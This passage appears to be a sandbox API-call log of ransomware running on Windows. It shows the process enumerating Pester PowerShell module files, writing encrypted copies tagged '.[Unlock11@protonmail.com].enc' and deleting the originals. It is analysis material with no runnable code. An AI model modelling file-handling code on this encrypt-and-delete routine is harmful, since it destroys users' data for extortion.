ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1739)) returned 1 [0231.661] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674afc | out: pbBuffer=0x3674afc) returned 1 [0231.661] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_should.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_should.help.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.662] GetFileType (hFile=0x334) returned 0x1 [0231.662] GetFileType (hFile=0x334) returned 0x1 [0231.662] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.662] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.662] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.662] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.662] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.663] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.663] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.663] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_should.help.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_should.help.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.663] GetFileType (hFile=0x39c) returned 0x1 [0231.664] GetFileType (hFile=0x39c) returned 0x1 [0231.664] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.664] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.664] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.664] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.664] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.664] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.664] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.667] CloseHandle (hObject=0x39c) returned 1 [0231.667] CloseHandle (hObject=0x334) returned 1 [0231.667] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_should.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_should.help.txt")) returned 0 [0231.668] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_TestDrive.help.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_TestDrive.help.txt", lpFilePart=0x9bada4*="about_TestDrive.help.txt") returned 0x5c [0231.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0231.668] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_TestDrive.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_testdrive.help.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x484)) returned 1 [0231.668] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36742dc | out: pbBuffer=0x36742dc) returned 1 [0231.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0231.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0231.669] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_TestDrive.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_testdrive.help.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.669] GetFileType (hFile=0x334) returned 0x1 [0231.669] GetFileType (hFile=0x334) returned 0x1 [0231.669] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.669] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.669] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.669] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.669] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.670] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.670] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.670] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_TestDrive.help.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_testdrive.help.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.670] GetFileType (hFile=0x39c) returned 0x1 [0231.670] GetFileType (hFile=0x39c) returned 0x1 [0231.670] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.670] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.671] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.671] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.671] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.671] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.671] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.673] CloseHandle (hObject=0x39c) returned 1 [0231.674] CloseHandle (hObject=0x334) returned 1 [0231.674] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\en-US\\about_TestDrive.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\en-us\\about_testdrive.help.txt")) returned 0 [0231.674] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8acf9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7990 [0231.674] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8acf9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.675] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ad5fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Calculator", cAlternateFileName="CALCUL~1")) returned 1 [0231.675] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0231.675] FindNextFileA (in: hFindFile=0x10f7990, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0231.675] FindClose (in: hFindFile=0x10f7990 | out: hFindFile=0x10f7990) returned 1 [0231.675] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\examples\\calculator")) returned 0x10 [0231.676] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Validator" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\examples\\validator")) returned 0x10 [0231.676] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator\\*.*", lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ad5fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f75d0 [0231.676] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8ad5fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.676] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e0b25d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e0b25d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e0b25d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Add-Numbers.ps1", cAlternateFileName="")) returned 1 [0231.676] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 1 [0231.677] FindNextFileA (in: hFindFile=0x10f75d0, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e57727, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e57727, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e57727, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x25e, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Add-Numbers.Tests.ps1", cAlternateFileName="")) returned 0 [0231.677] FindClose (in: hFindFile=0x10f75d0 | out: hFindFile=0x10f75d0) returned 1 [0231.677] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator\\Add-Numbers.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\examples\\calculator\\add-numbers.ps1")) returned 0x20 [0231.677] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator\\Add-Numbers.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\examples\\calculator\\add-numbers.tests.ps1")) returned 0x20 [0231.677] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator\\Add-Numbers.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator\\Add-Numbers.ps1", lpFilePart=0x9bada4*="Add-Numbers.ps1") returned 0x61 [0231.678] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0231.678] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator\\Add-Numbers.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Calculator\\Add-Numbers.Tests.ps1", lpFilePart=0x9bada4*="Add-Numbers.Tests.ps1") returned 0x67 [0231.678] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Validator\\*.*", lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7a10 [0231.678] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8adae3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7cca5f, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.678] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 1 [0231.679] FindNextFileA (in: hFindFile=0x10f7a10, lpFindFileData=0x9bacf0 | out: lpFindFileData=0x9bacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x9baaac, dwReserved1=0x73013d47, cFileName="Validator.Tests.ps1", cAlternateFileName="")) returned 0 [0231.679] FindClose (in: hFindFile=0x10f7a10 | out: hFindFile=0x10f7a10) returned 1 [0231.679] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Validator\\Validator.Tests.ps1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\examples\\validator\\validator.tests.ps1")) returned 0x20 [0231.679] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Validator\\Validator.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Examples\\Validator\\Validator.Tests.ps1", lpFilePart=0x9bada4*="Validator.Tests.ps1") returned 0x64 [0231.679] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Functions\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8fc051, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7f2cc1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f77d0 [0231.682] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc8fc051, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7f2cc1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.683] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc95c764, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a83f191, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Assertions", cAlternateFileName="ASSERT~1")) returned 1 [0231.683] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="BreakAndContinue.Tests.ps1", cAlternateFileName="")) returned 1 [0231.683] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x921, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Context.ps1", cAlternateFileName="")) returned 1 [0231.683] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98748765, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98748765, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98748765, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Context.Tests.ps1", cAlternateFileName="")) returned 1 [0231.683] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x986fc293, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x986fc293, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x986fc293, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4559, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Coverage.ps1", cAlternateFileName="")) returned 1 [0231.683] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9876e9c4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9876e9c4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9876e9c4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2cac, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="Coverage.Tests.ps1", cAlternateFileName="")) returned 1 [0231.683] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x987224f6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x987224f6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x987224f6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff9, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="Describe.ps1", cAlternateFileName="")) returned 1 [0231.684] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98794c2c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x98794c2c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x98794c2c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="Describe.Tests.ps1", cAlternateFileName="")) returned 1 [0231.684] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97e314c8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97e314c8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f9, dwReserved0=0x9bab4c, dwReserved1=0x0, cFileName="GlobalMock-A.Tests.ps1", cAlternateFileName="")) returned 1 [0231.684] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e314c8, ftCreationTime.dwHighDateTime=0x1d2a02a, 